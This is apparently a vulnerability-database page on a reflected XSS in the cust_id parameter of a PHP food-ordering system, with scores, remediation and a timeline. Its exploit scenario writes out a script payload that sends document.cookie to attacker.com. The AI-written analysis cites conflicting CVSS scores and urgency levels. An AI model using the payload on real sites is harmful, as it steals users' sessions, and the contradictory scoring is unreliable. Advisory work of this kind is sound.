What is the CVSS score of EUVD-2026-17253?

EUVD-2026-17253 has a CVSS 4.0 base score of 2.1 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P. EPSS exploitation probability: 0.0%.

Is there a public PoC exploit available for EUVD-2026-17253?

Yes, a public proof-of-concept exploit is available for EUVD-2026-17253. Prioritise patching immediately. EPSS: 0.0%.

Online Food Ordering System EUVD-2026-17253

| CVE-2026-5157 LOW

Cross-site Scripting (XSS) (CWE-79)

2026-03-30 VulDB

PHP XSS Online Food Ordering System Code Projects

2.1

CVSS 4.0 · NVD

View

Vulnerability Assessment

Weakness	CWE CWE-79 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization Output encoding, context-aware escaping MITRE ATT&CK 2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Impact	Despite the CVSS 4.3 score indicating low severity, this XSS vulnerability merits moderate real-world attention. The CVSS vector (AV:N/AC:L/PR:N/UI:R) confirms remote, unauthenticated, low-complexity exploitation requiring only user interaction-a realistic attack scenario for e-commerce sites where customers click order confirmation links. The presence of publicly available exploit code (noted in PoC references) lowers the barrier to exploitation. However, the impact is limited to integrity (I:L) with no confidentiality or availability impact, ruling out credential theft or system compromise; typical XSS harm here would involve session hijacking, defacement, or malware distribution to customers. The E:P (Proof of Concept Exists) environmental score modifier and RC:R (Reasonable Confidence) confirm the reproducibility and credibility of this finding. SSVC framework assessment: exploitation is confirmed possible (PoC exists), automatable to moderate degree (script injection), and technical impact is limited (integrity only, no privilege escalation). This is a legitimate priority for patch deployment in customer-facing e-commerce systems, but not a critical emergency.
Exploit ScenarioDerived	An attacker crafts a malicious URL containing JavaScript payload in the cust_id parameter (e.g., /form/order.php?cust_id=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and sends it to a victim customer via email, messaging, or by embedding it in a compromised advertisement. When the victim clicks the link while logged into their food ordering account, the injected script executes in their browser context, stealing session cookies or redirecting them to a phishing site. The public exploit code (GitHub Gist reference) demonstrates this attack pattern, confirming the vulnerability is straightforward to weaponize without requiring specialized tools.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).

No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 30, 2026

Reflected cross-site scripting (XSS) in code-projects Online Food Ordering System 1.0 allows unauthenticated remote attackers to inject malicious scripts via the cust_id parameter in /form/order.php, exploitable through user interaction (UI required). Publicly available exploit code exists; the vulnerability carries CVSS 4.3 (low severity) but poses reputational and user session hijacking risks typical of XSS attacks in e-commerce contexts.

RemediationAI

Immediate remediation requires input validation and output encoding: all user-supplied input (especially cust_id) must be sanitized using parameterized queries or prepared statements for any database operations, and HTML-encoded or JavaScript-escaped before insertion into the page response. For PHP applications, use htmlspecialchars() or a templating engine with auto-escaping to prevent reflection of unsanitized parameters. Code-projects maintainers should release a patched version of Online Food Ordering System with these fixes applied to /form/order.php. Pending patch availability, temporary mitigation includes implementing a Web Application Firewall (WAF) rule to block requests with suspicious characters in the cust_id parameter or disabling the vulnerable endpoint if not essential to operations. Reference the VulDB record (https://vuldb.com/vuln/354189) and the public exploit code at https://gist.github.com/HxH404/f7f1502ffc9f2aacc936a6e8f290b6a5 for testing and validation of fixes.

Affected VersionsENISA

Online Food Ordering System 1.0

Affected Packages

euvd online_food_ordering_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a reflected XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) in a PHP-based e-commerce application. The Order Module's order.php endpoint fails to sanitize or encode the cust_id parameter before rendering it in an HTTP response, allowing attackers to inject arbitrary JavaScript code. The vulnerability affects code-projects Online Food Ordering System via the CPE cpe:2.3:a:code-projects:online_food_ordering_system:*:*:*:*:*:*:*:*, indicating all versions of this product are potentially vulnerable. The reflective nature requires the victim to follow a malicious link, but the low attack complexity and lack of authentication requirements make it straightforward to exploit in practice.

Know when Online Food Ordering System gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.1 LOW

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector

Network

Attack Complexity

Low

Attack Requirements

None

Privileges Required

None

User Interaction

Passive

Vulnerable system: Confidentiality

None

Vulnerable system: Integrity

Low

Vulnerable system: Availability

None

Subsequent system: Confidentiality

None

Subsequent system: Integrity

None

Subsequent system: Availability

None

Lifecycle Timeline

Severity Changed

Apr 29, 2026 - 01:11 NVD

MEDIUM LOW

CVSS changed

Apr 29, 2026 - 01:11 NVD

5.3 (MEDIUM) 2.1 (LOW)

PoC Detected

Apr 01, 2026 - 14:24 vuln.today

Public exploit code

CVE Published

Mar 30, 2026 - 23:30 nvd

MEDIUM 5.3

DescriptionCVE.org

A vulnerability was identified in code-projects Online Food Ordering System 1.0. Affected is an unknown function of the file /form/order.php of the component Order Module. Such manipulation of the argument cust_id leads to cross site scripting. The attack may be performed from remote. The exploit is publicly available and might be used.

Threat Intelligence Overview

EPSS Score

0.0%

Top 91% exploitable

Exploit

POC

Public exploit code exists

Data Quality

8 sources

Confidence: High

EUVD

NVD

CVE.org

EPSS

Vulnrichment CIRCL

GitHub

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity LOW

CISA KEV No

Public POC Yes

EPSS 0.0%

Patch available No

Active threat No

Deciding rule

LOW severity (CVSS 0.1-3.9)

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived

Scheduled

Exploitation

Poc

System Exposure· derived

Open

Automatable

Human Impact· derived

Low

Technical Impact

Partial

Priority Score

Low Medium High Critical

KEV: 0

EPSS: 0

CVSS: +10

PoC: +20

Weaponized: 0

Threat intel: 0

Gov advisory: 0

Attack Technique

Cross-Site Scripting MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Online Food Ordering System

View all

CVE-2023-24646 CRITICAL Act Now POC

9.8 Feb 13

An arbitrary file upload vulnerability in the component /fos/admin/ajax.php of Food Ordering System v2.0 allows attacker

CVE-2021-41644 CRITICAL Act Now POC

9.8 Oct 29

Remote Code Exection (RCE) vulnerability exists in Sourcecodester Online Food Ordering System 2.0 via a maliciously craf

CVE-2020-29297 CRITICAL Act Now POC

9.8 Jan 20

Multiple SQL Injection vulnerabilities in tourist5 Online-food-ordering-system 1.0. Rated critical severity (CVSS 9.8),

CVE-2023-30122 CRITICAL Act Now POC

9.8 May 05

An arbitrary file upload vulnerability in the component /admin/ajax.php?action=save_menu of Online Food Ordering System

CVE-2026-30530 CRITICAL Act Now POC

9.8 Mar 27

SQL injection in SourceCodester Online Food Ordering System v1.0 allows remote attackers to execute arbitrary SQL comman

CVE-2023-45344 CRITICAL Act Now POC

9.8 Nov 02